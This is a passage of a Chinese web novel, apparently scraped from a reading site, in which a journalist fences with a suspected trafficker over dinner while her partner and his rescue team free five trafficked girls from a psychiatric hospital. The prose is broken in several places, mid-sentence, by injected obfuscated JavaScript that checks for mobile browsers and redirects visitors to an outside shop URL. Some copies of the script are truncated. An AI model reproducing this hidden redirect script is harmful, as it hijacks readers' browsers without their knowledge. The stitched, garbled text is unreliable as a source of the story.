黄毛鼻青脸肿地抱住他的腿:“真的,真的!只要别让我断子绝孙,让我干什么都行!” “行,”齐寻好整以暇弯下腰,拍拍他的脸:“一言为定。” 虽然幕后已经闹到了那种地步,但那个挂羊头卖狗肉的宣传片,竟还是有惊无险地往下拍。 书影本来决计不愿再见这帮人的,导演一句话没讲,拿出合同,指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黎叙闻一边低头刮着瓜皮,一边无声地笑。 昨天晚上被责任和愧疚逼得两头冒火,一心想着既然不能两全,拿命去填她也不能背着人命过下半辈子。 别到时候爸爸的罪还没赎,自己就先背上了新的。 但到最后,她被一个人逼得悬崖勒马。 自然不是怕他吓人的表情,也不是真的怕了觉得这事做不得,而是他眼睛里下着的滂沱的雨,淹掉了她不管不顾前行的路。 记者生来就是要为了真相出生入死的,但他呢? 黎叙闻不敢想。 就是这点犹豫,让她头脑渐渐冷静。 一个人坐到天边擦亮,坐到所有的炙烤和冲动全部瓦解,终于冷却成一片明澈的湖。 她在天亮起的那个瞬间忽然想,对啊,我是记者。 记者,不就是要采访的么? 能做的调查和案头工作她都已做尽,既然要证据,那当然是贼窝里最多。 以身入局也不止卧底这一种方法。 找个机会跟幕后boss贴身肉搏,也是个不错的办法。 她决定去会会蔡道全。 但这个决定,她并不打算告诉齐寻。 他们之间从相识开始,就从来没有过坦诚。 在这个阴云压顶,每个人都各怀心事的上午,黎叙闻看着这个注定要跟自己纠缠不清的男人,问:“齐寻,这个问题我问过你很多次,这次如果你不回答,今后我也不会再问了。” 西瓜外壁的水汽在闷热的低气压中凝成冰凉的水滴,蹭在齐寻的胳膊上。 他垂在身侧的指尖轻轻蜷缩。 她握着勺子,目光停在他的侧脸,仿佛在一寸一寸剥开他:“你昨天说,你一直在找我,所以我们……真的没见过吗?” 72. 第 72 章 天边隐隐有惊雷,顺着潮润的风吹进齐寻的耳朵。 鬓边的汗顺着他的下颌角,慢慢地蜿蜒下来。 他守那个秘密守得那么辛苦,她若真的今后都不问了,不正是他梦寐以求的么? 可他每一寸神经都在叫嚣着不甘心。 那是他最珍贵最笃定的回忆,是支撑他独自走过十年的定海神针。 如果否定了那段过往,他还剩下什么? 一只紧闭的蚌被撬开壳,孕育十年、璀璨无双的珍珠被挖走,就只剩下一坨无用的烂肉了。 他会腐烂、发臭,再没资格站在她身边。 “齐寻?” 又是一阵惊雷,他忽然醒了。 不,现在还不能…… 黎叙闻的视线锁住他的脸:“你选不回答,对吗?” 齐寻喉结深深滚动,突然攥住她的手:“有没有过去,那么重要么?” 黎叙闻静静看着他半低的侧脸,并不挣扎,缓缓道:“人都是由过去组成的,你对我这么执着,我不得不问为什么,不然,我不能安心。” 齐寻终于转过脸来看她。 离这么近,他目光却失焦,隔着一种说不清的模糊。 不远处的剧组蓦地爆发出一阵震天的欢呼——最后一个镜头拍完,终于杀青了。人们互道辛苦、互相感谢,用掌声把导演围在中间。 他们之间这小小的一隅,却挤不进半分热闹。 齐寻低头看着自己攥住她手掌,两个人掌纹相贴。 字字句句,写的都是牵强。 “你要一个答案,我可以给你。”齐寻说:“但你清楚,它不一定是真的。” 黎叙闻眉心一挑。 他已经回答了。 不否认,本身就是一种无法割舍的承认。 她鼻息中带出一声笑,又低头去挖西瓜,漫不经意道:“这个问题,你要寄存吗?” 握着她的那只宽大手掌不可抑制地一震。 “我这儿可以寄存,”她转过头来,唇角殷红:“就是贵。” 齐寻眉峰猛地一松。 日夜悬在空中的心终于轰然落下,扬起积了那么多年的厚重灰尘。 他抑制住自己吻她的冲动,另一只手轻轻替她擦去唇边汁液:“要多少?” “那得看你这个秘密值多少。” “陪你调查,替你卖命,后半辈子听你使唤,”齐寻眉眼温和,锋利轮廓化成绕指柔:“够不够?” 他押上剩余生命里所有的忠诚,把自己珍视的秘密放进她的手心。 清甜汁水在她心里悄然融化,关不住地从眼角眉梢溢出来,最后渗进她明艳的笑里。 “成交。” 他们两个悬而未决的秘密,却不止这一遭。 黎叙闻的盘算在于,吴檀已经知道了她的身份,完全可以等同于蔡道全已然知晓。 既然他又要宣传又要造势,那她为什么不用自己媒体人的身份,给他画一张色香味俱全的大饼? 可该怎么联系蔡道全呢…… 这个问题,几个小时后,就以一种奇怪的方式解决了。 剧组热热闹闹地杀青后,工作人员收拾现场,准备去市里吃顿好的,权当杀青宴。 出发之前,侯导握着手机,满脸不解地找到黎叙闻:“嫂子,你电话。” 黎叙闻皱眉:“我?” 侯导面上困惑更甚:“……是蔡总。” 黎叙闻心里一个激灵,打起十二万分的精神,接过来:“喂?” 那边传来一个温和平静的声音:“黎记者?” 黎叙闻喉头颤了颤。 “我听说那边杀青啦?你也辛苦,事情办好了?” 蔡道全年过半百,声音却全然听不出疲态,只有拳拳恳切,感觉他不是什么成功企业家,而是一个关心自己的前辈。 黎叙闻早听说他会做人,一句简单问候,里面已经挖好坑在等她了。 ——蔡道全想知道,她最开始为什么来柳北,是不是听到了什么风声。 “本来就没什么事,做记者的你也知道,听风就是雨,”黎叙闻笑道:“多谢蔡总关心。” “黎记者这样优秀的媒体人,现在真是难得一见,”蔡道全语带笑意:“不知道有没有这个荣幸,请你吃个饭,我们聊聊?” 黎叙闻蓦地一愣。 这是怎么回事?天上掉馅饼,瞌睡送枕头? ……还是那边有什么她不知道的进展,已经磨好了刀,只等她去赴鸿门宴? 侯导在不远处抽着烟等她,耳朵明显支棱着,想探听什么。 而更远处,剧组人员正将器材装车,人声鼎沸。 她听见自己的呼吸轻轻喷在话筒上,心跳贴着鼓膜,一下一下,扣在冰凉的手机屏幕上。 那边听不见她回应,又轻缓道:“当然,如果黎小姐不方便就算了,我想,我们总有其他机会见面的。” 话说到这一步,就不再是单纯的礼貌邀约了。 其他机会,什么机会?等她按捺不住出手,他将她擒住抹杀的机会? 黎叙闻闭了闭眼,道:“没有,蔡总相邀我求之不得,哪有什么不方便?您什么时候有空?” 蔡道全笑了声:“择日不如撞日,不如就今晚?不过这是咱们的私人聚会,一些不相关的人,我看就不太方便出席了,你说呢?” 黎叙闻瞬间就知道,这个“不相关的人”,说的是齐寻。 这个吴檀,竟然把什么都跟他讲了! 黎叙闻定了定神:“可以,就我一个人。” “黎小姐真是爽快人,”蔡道全赞赏道:“那今晚我让司机去接你,还请黎小姐赏脸。” 一番话说得客气之极,滴水不漏,全然一副谦卑企业家的模样。 黎叙闻沉着脸挂了电话,避过侯导不依不饶的探问,远远望向石桌旁低头凝眉发消息的齐寻。 ……这人盯她盯那么紧,该怎么避开呢? 她不知道,齐寻现在正琢磨的,也是同一件事。 石桌上的手机嗡嗡一震,他低头,见是馒头回了消息,眉头稍稍一松。 馒头:副队,清水镇是吧?我看了一下,现在出发的话下午两点那会儿能到,来得及吗? 齐寻盯着“副队”两个字愣了半天的神,才回他:“来得及,但我再说一遍,这是帮我个人的忙,不算出勤率,也没有后勤保障,一旦暴露我没有把握把你们都带出来,你想好。” 那边回得很快:你就说,成了能赢到什么吧。 齐寻想了想,回:成了,能救下四五个姑娘的命。 馒头回的消息几乎带着火星子:那还犹豫啥?干他妈的! 齐寻轻轻笑了,因为小熊和大山回的消息,也跟他大差不差。 都是救人,管它是在救援队,还是下班路上随手一救呢。 他们三个,不愧是他最信任的队员,不枉他凌晨从闻闻家出来,就脚下一拐又去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069136|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理发店。 当时珍妮和影姐都惊魂未定,他顶着珍妮精神行将崩溃的压力,硬是从她口中挖出了一个重要线索:今天晚上,那些姑娘将被带去清水县的安心医院,检查身体并交接。 他三令五申告诫她们对黎叙闻守口如瓶,出门转身就去了早餐店,跟老板打听昨天一回柳北,就听说的那个调戏闻闻的黄毛。 小地方就是有这点好处,谁平时在哪出没,发生了点啥,随便找个开店的,都能给你说得头头是道。 他半是泄愤半是胁迫地暴揍了一顿黄毛后,提出的条件可不是让他去给闻闻磕头——那完全是他别出心裁,自作主张。 齐寻让他做的,是跟他一起去清水县,制造一场能够抓住人眼球的混乱。 黄毛和他的混混小弟三人,救援队三人,加上他,一共七个人。 对方昨天刚刚被劫,今天一定会万分小心,如果不够谨慎,他们七个很可能都回不来了。 但哪次救援不是拼命,况且这是唯一一条让闻闻不再乱来的路。 至于要冒的风险,要对队员们负的责任,即使没有全然把握,也只有靠他一并扛在肩上。 好在这么些年,他早就习惯了。 齐寻握着手机,几乎感激起八年前抱着老纪的腰,死乞白赖非要加入救援队的自己来。 这时候,有熟悉的脚步声渐渐从嘈杂中脱离,向他这边来了。 他假装不知,手底下却把屏幕切成社交平台。 “干嘛呢,”黎叙闻人还没坐下,就先探头看他手机:“刷微博啊?” “嗯,”齐寻决定抓住机会,单刀直入:“今天下午我一个前辈过来,在市里落脚,我去打声招呼。” 黎叙闻睁大眼睛,“啊?”了一声。 “怎么?” 黎叙闻盯着他的眼睛,脑子里纷乱一片。 短短两秒她过了十几个念头,死活都想不出他找这样的借口,到底要背着她去做什么。 齐寻平静地回视,眸子清澈见底,看不出一丝躲闪的隐瞒。 “是真的,”他半真半假,一锤定音:“绝对不是去做坏事。” 救人的事,怎么能叫坏事呢,是吧? 黎叙闻瞪着他,显然还是不信。 齐寻叹息,不得已祭出底牌:“那前辈侯导也认识,不信你去问他。” 黎叙闻冷笑:“我不去,我要去问了,他不但会说确有其事,还会说他也参加。你们男的不就这样,为了互相打掩护,都拼了。” 齐寻:“……” 闻姐还是太全面了。 他一耸肩,决定装傻到底:“让你去问,你又不信。” 但黎叙闻其实没打算深究——现在线索断了,他也没什么机会再去犯险,既然他要消失半天,这正中她的下怀,管他是去做什么呢。 总不可能是去会姑娘了。 “我不在的时候,你老老实实跟珍妮待在一起,哪也别去,”齐寻上半身靠近她,语气硬的像铁:“等我回来,听见了吗?” 黎叙闻一根手指推住他胸口,挑起眉头,道:“你才是,去跟前辈见面,记得要全须全尾回来,听见没有?” 齐寻哼笑:“废话。” 黎叙闻也勾唇:“那我也答应你。” 两人靠得极近,近到呼吸交叠,心跳共协。 彼此的体温跟闷热空气混成一块,在肌肤上驽钝地攀缠。 他们都笑着,却都不去看对方的眼睛。 73. 第 73 章 等齐寻在清水镇把人接齐,已经是下午四点多。 前因后果他在群里跟救援队的三个都说清楚了,黄毛那边,他只简单提了一嘴“去闹事”,便不再多说。 他们三个是临时拉来的,说太多了,到时候要是反水,那才麻烦。 黄毛鼻青脸肿地跟在齐寻身后,战战兢兢的。 这四个男人看起来能把他就地埋了,跟来的那两个小弟更是自身难保,所以他一句都不敢多嘴,中间那个叫小熊的男人问他是哪里来的,他都不敢说话。 这几个人名字都怪,尤其是这个对他动过手的男的,其余人不但对他很敬服,言听计从,还叫他“白蛇”。 好家伙,该不会是什么帮派吧! “我临时请来的帮手,”齐寻看了他一眼,说:“寻衅滋事比较有经验了,比我们强。” 黄毛差点给他跪下。 趁时间还早,齐寻决定带人先去那个安心医院踩点。 他们满以为这是个普通医院,一路上还在猜到底是哪个科室,等到了地方,连齐寻都愣住了。 安心医院,是一家精神病院。 但他只怔愣了一瞬,就意识到,把体检和交接放在精神病院,才是他们真正歹毒的地方。 普通医院里女孩子们尚有求助其他病人家属和逃脱的可能,而在精神病院,她们说的话,是没人会信的。 大山进去转了一圈,很快出来,跟等在医院门口小饭馆的其他人汇合。 “里面地方不大,有两个出口,”他画了简单的示意图:“前门就是正常的接待大厅,后门地方不大,但停一两辆货车绰绰有余,我猜可能是卸货的。” “精神病院……如果进去,恐怕就不好弄出来了,”馒头沉吟道:“这样的话,咱们可能得守着后门,在他们有人接应之前把人弄走。” 小熊看了一眼坐在角落的黄毛:“要是这样我觉得根本不用等他们到这,如果能认出他们的车,路上让他们三个随便剐蹭一下,闹起来我们趁乱给人带走,也省得跟这帮保安打交道。” 这一眼看得黄毛心有余悸,后背变本加厉地贴住墙角。 齐寻手底下轻点着一次性餐具上的塑料膜,想了想,说:“不太现实,那样容易把交警招来,别的不提,那些小姑娘肯定吓坏了,万一跟交警求救,小地方的警力处理不了这么大的案子,如果警察选择和稀泥,她们的处境只会更危险。”他默了默,忽然道:“我一直在想,对面说的是‘交接’,而且把人送进医院,那他们的人就不可能在这里久留。” 沉吟了一瞬,齐寻最后拍板:“避开他们,等他们离开之后,我们再动手。” 既然定下了行动策略,他们就像在救援队的时候一样,每个人领了齐寻分配的任务,便各就各位,等他一声令下开始行动。 跟黄毛和小弟们分在一组的,是他们里面最面善的馒头,小弟演出院回家没两天就打人的病患,黄毛用一脸伤本色出演,演那个被打的倒霉蛋,馒头演制不住他俩的监护人。 三人坐在饭馆门口等待指示,黄毛鼓起勇气问:“哥,你能不能给我掏句实话,咱这趟来,是不是违法乱纪来了?” 馒头笑得不行:“你这尊容,也不像是害怕违法乱纪的样子啊。” “说啥呢!”黄毛不乐意了:“我从来不犯法!” 馒头比齐寻脾气好多了,耐心道:“我们副队交代了,多的不能说,但咱们这次,是来救人的。” 黄毛被“救人”两个字给说愣了。 他做梦都没想到,他这个万人嫌的混混,还能跟这个词联系在一起。 “一会儿你闹得越真,声儿越大,引来的人越多,其余队友行动的时间就越充足,就越能保证他们的安全,能做到吗?” 黄毛整个人热血沸腾:“哥你放心!待会儿我一定闹个大的!” 他正表着忠心,群里弹出几条消息。 大山:他们到了,在后门,七个男的,五个女孩。 大山:进去了。 小熊:收到,到二楼了,我盯住。 白蛇:各位,今晚我们就是她们唯一的退路。 白蛇:行动。 此时正值华灯初上,黎叙闻从一辆黑色林肯上下来,抬头看了一眼皎洁的月色。 不知道齐寻和他的“前辈”,在忙些什么。 司机站在她身边,礼貌催促:“黎小姐,蔡总在等了。” 她被服务生领着,沿着饭店大厅的边缘,穿过一条很长很暗的走廊,尽头处服务生推开包房,一面强光当头砸来。 她无声地吸气,一脚踏进去,像踏进了一个光芒万丈的陷阱。 “蔡总,不好意思路上堵车,”黎叙闻一秒切换至工作状态,带着精确的微笑,道:“您久等。” 蔡道全本人果然跟他的声音一样,看上去低调温和,年过五十也并未发福,反而有一种令人不自觉亲近的魅力:“不妨事,重要的人总是值得等的。” 黎叙闻含笑坐下,目光却滑向桌上的另一个人。 吴檀。 她永远穿着白衬衫,扣子扣得一丝不苟,脖子上系着一条丝巾,四平八稳地坐着,面色平静到冷淡。 包厢不大,圆桌上已经上了几道精巧的凉菜。蔡道全用公筷给黎叙闻夹了菜,道:“黎记者在柳北还住得惯?此间事毕,是不是要走了?” 黎叙闻欠身:“是,走之前能见蔡总一面,真是荣幸。” 蔡道全哈哈一笑:“黎小姐这样优秀的记者难得一见,我拜读了你的报道,真是以笔为刀,尤其代孕那篇,”他目光柔和地看着黎叙闻,亲手倒了杯茶,慢悠悠推过来:“听说你还参加了救援队?” 黎叙闻眯了眯眼。 蔡道全知道的远比她以为的要多。 她扫了眼吴檀,吴檀垂着眼在看手机,事不关己的样子。 呵……伥鬼。 “记者真是辛苦,这么拼命,为的也不过是那一点工资,”蔡道全冲吴檀一扬下巴,吴檀拿过一盒月饼,他亲手递给黎叙闻:“中秋要到了嘛,黎小姐不要嫌弃。” 黎叙闻微笑着,没有接。 她知道那里面是什么。 “怎么会,只是无功不受禄,别说这么高级的月饼,就算是这顿饭,我回去也要报备。”黎叙闻道:“实在抱歉了,蔡总。” “要个名目,是吧?”蔡道全笑意更深,屈指敲了敲桌子:“那就当我替昨天晚上那两个不懂事的下属赔罪了,行吗?” 黎叙闻瞳孔猛地一缩。 蔡道全一句话挑开了她刻意回避的事实,直接摊牌了! 他已经知道昨天的事是她做的了?可那两个人……明明没有认识她的! 不,不止这样,这里面还有坑——如果她那么无辜,她就不该知道昨天那两个人,是在为蔡道全卖命。 她呼吸仅仅凝滞一瞬,便稳住了表情,故作惊讶着绕开陷阱:“那两个人是您的下属?我只顾着追老赖,这我倒不知道!”她一脸歉疚:“你看这,实在太对不起了蔡总,我自罚一杯。” 蔡道全微笑着看她把面前的一杯红酒一饮而尽,才道:“都是小事,是他们不懂事。”他上身前倾着,语重心长道:“那个小姑娘,那么多钱,到哪里去了?” 他根本不相信黎叙闻会笨到借一个萍水相逢的人那么多钱,也不相信那么小的姑娘,会一借就是好几万。 “她骗我给家人治病,”黎叙闻面不改色,张口就来:“然后去赌了。” 蔡道全听得一脸惋惜:“哦……你看看,好好的孩子。” 他一边叹息,手指一边轻轻摩挲着酒杯的杯沿,眼神却一秒都没离开黎叙闻的脸。 他在等,在等黎叙闻问他,那辆车,到底会开往何方。 可黎叙闻松弛地跟他对视,始终没有开口问。 “那正好了,”蔡道全指了指月饼盒子:“这就当我私人的赔礼道歉,昨晚的事情,咱们一笔勾销,如何?” 黎叙闻眉头轻轻一挑。 他在贿赂——就像当年药企对季筝做的那样,想用钱堵住她的嘴。 现在拿钱走人,看似是条活路,但对方显然已经摸清了她的底细,这钱很可能变成她的催命符,让她有命拿没命花。 再者,现在妥协的话,就再没机会往深一步了。 可前方到底是通天坦途,还是一步地狱,却像镜花水月,让她看不清分毫。 包厢里空调发出嗡嗡的出风声,吹得她后颈冰凉,掌心却满是黏腻的汗。 仅仅一两秒,这些思绪便从黎叙闻脑海中逐一划过,她的沉默看上去只是话间正常的停顿。 她已经做了决定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074170|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她深深地盯着蔡道全沟壑纵横的眉眼,慢慢道:“如果我说,我志不在此呢?” 跟前几次来时一样,安心医院人员嘈杂,十里八乡脑子有点不对的都往这送。谭志群带着昨天新收的五个姑娘避开人群,挤到医生的办公室门口。 张医生办公室前门可罗雀,只有一个年轻小伙子,坐在凳子上专心玩手机。 谭志群冲身后跟着的六个男的一挥手,让他们回车里,转头就轻嗤了声。 不就是昨天出了点纰漏,上级那嫌弃的口水都崩到他脸上了,非要塞来这么些个棒槌,来压秤啊? 他心里不满,也懒得寒暄,身后却有一个短发姑娘,忽然上前一步抓住张医生的袖口:“我没病医生!他是骗子,他……” 谭志群不发一言,把准备好的信封放在桌上:“五个,麻烦了。” 短发姑娘蓦地愣住,表情像被雷劈了一样地住了口。 张医生一下子从桌子后面弹起来关门,动静大得门口的小伙子都抬头看了他一眼。 他脸上不很好看:“注意影响,啥时候来接人?” “明天吧,或者后天。” 张医生无视开始啜泣的女孩子们,低头刷刷写了病例,按铃让护士把她们带走了。 那短发姑娘还不甘心,见有人坐在长椅上,抽泣着叫喊:“救命!救命!” 那小伙子看了看她,见怪不怪地继续低头玩手机。 只有他自己知道,他把微信界面关掉又点开,点开又关掉,左手插在裤袋里,捏拳捏到颤抖。 里面又说了几句什么,谭志群心满意足地离开,不多时守在后门的大山发来消息:走了。 张医生在办公室接通电话:“刚刚那几个在评估区了?嗯,癔症,不用理,让换好衣服等我。” 小熊迅速在群里发布:目标刚刚收了红包,马上接近受害者!馒头,行动! 消息发出不到五秒,馒头便带着黄毛上来了,在张医生办公室门口两眼一闭就是演:“你个狗娘养的,什么狗屁医生!才回家几天啊就犯病给我达成这样!赔钱!” 大概是黄毛嗓音太嘹亮,那张脸又极具说服力,一瞬间便吸引了一整层所有的目光。 馒头拉都拉不住,眼见着黄毛冲进办公室里,把张医生堵在桌子后面,赶紧跟进去,拉他胳膊:“哥,算了算了……” 黄毛一甩手:“啥算了!”他把身后呆若木鸡的小弟往前一推:“你看的病!你给负责!” 那小弟影帝附体,抬头对张医生露出一个痴呆的笑容。 张医生被堵得无处可去,声嘶力竭地喊:“保安呢!保安!” 黄毛一把揪住他的领子,硬生生把他从座位后面拎出来,拖出办公室,对着整个等待区喊:“你们给评评理,我弟出院才三天,就犯病把我打成这样!是不是医生的错!” 人群中嗡嗡咋咋,低声议论,像是不知道该站谁,这时候人群里有个声音忽然叫:“这人我认得!他收了钱的!” 这人当然是黄毛的另一个小弟。 张医生大惊,掉头就想跑——他办公室抽屉里现在可有现成的罪证! 奈何黄毛手劲大,拎住他的领子不让他动弹:“心虚了!他心虚了各位!” 馒头站在办公室门口,趁无人发现后退了一步,神不知鬼不觉地顺走了张医生的门卡。 有保安从楼下赶来,拨开人群跟黄毛他们纠缠在一起,“精神病”小弟忽然血脉觉醒似地,开始帮着黄毛打保安,而馒头趁着这一片混乱悄悄退出人群,在楼梯口跟一个穿着白大褂的高大身影擦肩而过,顺便将张医生的门卡塞进了他手里。 此时所有人的注意力全在收了红包的医生和鼻青脸肿的病人家属身上,没有人注意到这个人顶着一张谁都不认识的脸,一脸平静地刷开评估区的门禁,一闪身便进去了。 混乱能持续的时间有限,此时身后的吵闹声已经渐弱,必须在人群失去兴趣之前,速战速决。 齐寻在门口深呼吸两秒,迅速熟悉了布局,便走到最吵闹的病房门口,面无表情地指着里面正在换衣服的女孩子们:“你们五个,出来。” 女孩们捂住上身发出尖叫,齐寻眉头一皱,这才转过脸去看一边的护士:“没给上安定?” 那护士上下打量他好几趟,问:“你是谁?我怎么没见过你?” 74. 第 74 章 包厢里静得落针可闻,头顶灯带热闹地在白瓷盘上投下喧嚷的光点,又落进黎叙闻冰凉的眼底。 蔡道全脸上的温和笑意纹丝不动,若有所思地望着她眼中一片玲琅的野心,缓缓抬了抬眉毛。 “黎小姐不妨有话直说。” “我若求财,就不会来做记者,去报社门口炸油条,都比现在出生入死挣得多。”黎叙闻笑道:“我倒是想请问蔡总,您生意做得好好的,又为什么另辟蹊径,这几年忽然开始做慈善呢?” 蔡道全眼眶紧了紧。 人生在世,不是求财,便是为名,对记者来说,一篇能震惊全国的报道,抵得上万金。 她的意思再明白不过:放过你,可以,那就拿更大的内幕来换。 他心里不禁响起一声轻蔑的哼笑。 这种年轻人他见得太多了,手上掌握了一点点证据,甚至证据都没有,只是猜测,就以为自己能凭一己之力撬动庞然大物,迫不及待地要兑换利益,从此功成名就,飞黄腾达。 他们中间没有一个能活到真正功成名就的那一天。 一个都没有。 既然她这样想,那就好办多了。 蔡道全给她倒了酒,笑吟吟地抛出裹着蜜糖的催命符:“后生可畏啊。不知道黎大记者,对哪方面新闻感兴趣?” 黎叙闻手上摆弄雕着花的银筷子,心里简直把他骂上天了。 这老狐狸,一句话里面八个坑,跟他说话真比写十篇报道都难! 又不是吃自助,还由着她选——姓蔡的有此一问,完全是在试探她的虚实:这番说辞若是她临时起意,她很可能就地卡壳,或是直接说出一个大得不像话的选题。 她提出的要求,必须实际,必须有能让她一炮而红的噱头,也必须能让蔡道全相信,他们是站在同一边的。 黎叙闻低头抿了口茶,道:“灵域集团的消息,相信蔡总一定有所准备吧?” 她几乎把蔡道全所有的公开消息都查遍了,灵域集团是蔡道全的死对头,近几年发展迅猛口碑颇佳,事事跟他打得有来有回,却偏偏在慈善这一块压了蔡道全一头。 如果灵域有丑闻传出来,对蔡道全来说可谓雪中送炭。 果然,此言一出,蔡道全大笑:“黎小姐真是……商报给你开多少工资?我给你双倍,不,三倍,你跟我干吧?” 他转头跟吴檀讲:“有哪些业内资料我还不太确定,你回头找找,再给黎小姐回话。” 黎叙闻脸上停留着精确的笑容,举杯道了声过奖,仰头将杯中酒喝尽,掩住了自己平直的唇角。 蔡道全根本没全信她,连“我有竞争对手的黑料”这种信息,都不愿意在饭桌上露,就是防着她录音,到时候倒打一耙,他防不住她。 即便如此,她还是轻轻松了口气——命总算是保住了,而且蔡道全承认昨天那两个人是他属下,也就坐实了他是“她计划”的一部分,无论如何都跑不掉了。 不枉她脑袋别在裤腰带上,来跟他吃这顿饭。 “对了黎小姐,”蔡道全状似无意地吃菜寒暄:“令尊还好吗?” 黎叙闻夹菜的手猛地一抖,一根秋葵从筷子间一滑,掉在了玻璃转桌上。 “听说令尊做战地记者,从前线退下来之后,身体一直都不太好啊,”蔡道全像没看见似地,顾自往下说:“工作别太拼,多照顾家里。” 筷子尖在灯光下轻轻地颤动,黎叙闻分不清是她的手在抖,还是她的眼神在抖。 她收回筷子,感觉浑身的血液直冲大脑,手脚都像浸在冰水里一样凉。 终于图穷匕见了。 她默了片刻,轻笑了声,道:“身体一般,但精神还好。毕竟做记者这行,多少都有心里准备,所以什么结果……” 她侧头看着蔡道全温文尔雅的脸,慢慢地笑了:“他都不至于不能承受。” 蔡道全在她这笑容里,竟短暂地感到了一种失控。 他几乎要开始欣赏这个不知天高地厚的女人了。 “黎小姐,”他举起酒杯:“合作愉快。” …… 评估区的隔离病房里,姑娘们抽泣声压抑地响起,护士已经将手放在了电话上,目光警惕地望着齐寻:“你不是我们院的,你是谁?” 齐寻表情没一丝波澜:“我今天刚来,主任安排我帮张医生的忙。” 护士的手仍握着听筒:“……张医生从来不把病人交给别人。” 齐寻亮出张医生的门卡,道:“张医生让病人家属缠上了,过不来。这几个人很重要,要是耽误了时间,有你受的。” 评估区的门缝里,恰到好处地溢出张医生声嘶力竭的辩解:“这人根本不是我接手的,我凭什么负责……哎,谁让你们翻……哎!” 护士探头看了一眼,又坐回来,盯着齐寻看。 长相英俊,哄得住女患者,又高又壮,打得过不讲理的家属……院里早该招这种人了! 她慢慢把手缩回来,冲姑娘们一抬下巴:“跟紧这位,去吧。” 这五个人里面,有一个姑娘,昨天晚上隔着面包车的挡风玻璃,远远看过齐寻一眼,这时候似乎认出他来了:“啊……” 齐寻眉峰一抬,对她几不可查地摇了摇头。 她们五个跟在齐寻身后,亦步亦趋地出了评估区的大门。之前四处求助的短发妹子情绪几乎崩溃了,一踏出门就呜咽着要哭出声,却被身边一双手捏住了胳膊。 “别出声,”她耳边响起另一个姑娘的声音:“我认得他,咱们得救了。” 齐寻扫了一眼身后,带着她们大摇大摆从大厅穿过去,一行六个人,目标不可谓不大,有围观医闹的群众,注意力已经不在黄毛嘶哑出血的控诉中,这时候撇过头,困惑地看了他们一眼。 一到一楼大厅,大山立刻迎上来:“哟,医生,我两个妹子,都能出院啦?” 齐寻把认出他的姑娘往前一推:“嗯,按时服药,记得回诊。” 身边病人和家属来来往往,听到这对话,都投来羡慕的眼光。 认出齐寻的妹子拉着哭唧唧的短发姑娘,亲昵地叫他:“哥,咱们回家。” 大山脸都险些让她叫红:“哎,哎,哥带你们回家。” 齐寻身后的女孩见势不对,眼神在齐寻和大山之间扫了好几轮,终于鼓足勇气:“哥,我也要……” 齐寻一把将她拉回来:“闭嘴,是你哥吗你就叫?” 她错身而过时,听见他低声道:“别说话,一会儿送你们出去。” 大山跟齐寻对了个眼色,便领着两个姑娘,从医院正门,步履平常地走了出去。 齐寻看着他们出了门,扫了一眼四周,带着其余三人绕道后门,眼看出门在即,整个医院却突然响起了刺耳的警报! 后门连着警报瞬间锁死,平日里对付逃跑的精神病人的门禁,今天却成了无辜者的拦路虎。 眼看着生路被阻隔,姑娘们绝望地死命摇门,咣当咣当,好像她们的丧钟。 齐寻拿出救援现场哄孩子的功夫,拉住其中一个最大的,道:“我给你三秒钟哭,三秒之后,我要你协助我,我们一起逃出去,能做到吗?” 女孩呜呜地点头,抽噎却怎么也停不下来。 “好,一——三,时间到了。” 姑娘一愣,紧接着噗嗤一下笑了出来。 保安们的脚步声从四面八方纷至沓来:“看见了吗?在哪?”“刚刚有人说往一楼来了,人呢!” 齐寻语气平稳但迅速:“一会儿我先上去,打碎最上面的窗户,你带着妹妹们跳窗走,记住要快,不要害怕,我给你们断后。出去之后别回头,往南跑,那边有个小门,后面有一片树林,去找一辆黑色的车,刚刚那个哥哥会在那等你们,只要上了车,他会保证你们的安全。” 交代完毕他不再停留,双手扒住窗台,腰腹一用力攀上去,甚至来不及脱衣服裹住拳锋,哐地一拳砸穿窗户,玻璃应声而碎。 这一声太响,夹在通天彻地的警报声当中,终于引起了保安的注意,四面八方的人回过头来看了一眼,便不约而同地向他们涌来。 搜寻的声音简直近在身后,姑娘们一个踩着一个的背,顾不得被割伤的风险,一个接一个被齐寻接上去,钻过重生的窗口,跳入漆黑的夜色中。 剩最后一个姑娘,她无所依凭爬不上去,怎么都够不到齐寻的手,吓得直哭:“别、别扔下我!” 搜人的保安这时拐过转角,赫然看见两个逃脱的人影:“在那!” 乌泱泱的人群向他们奔来,姑娘慌了,不顾一切、手脚并用地在墙上扒,身体却忽然一轻。 她低头一看,齐寻悄无声息地落在她身边,直接将她举了起来。 保安们在地上敲下催命的足音,姑娘一闭眼,双臂使出吃奶的力气,终于从窗户钻了出去。 眼看整个保安队涌至脚下,齐寻几乎贴着那姑娘的后背,双手一撑,整个人像一只跃出水面的鱼,轻巧地一翻身,脚尖擦着保安队长抻到极致的手指,在最后一刻,有惊无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 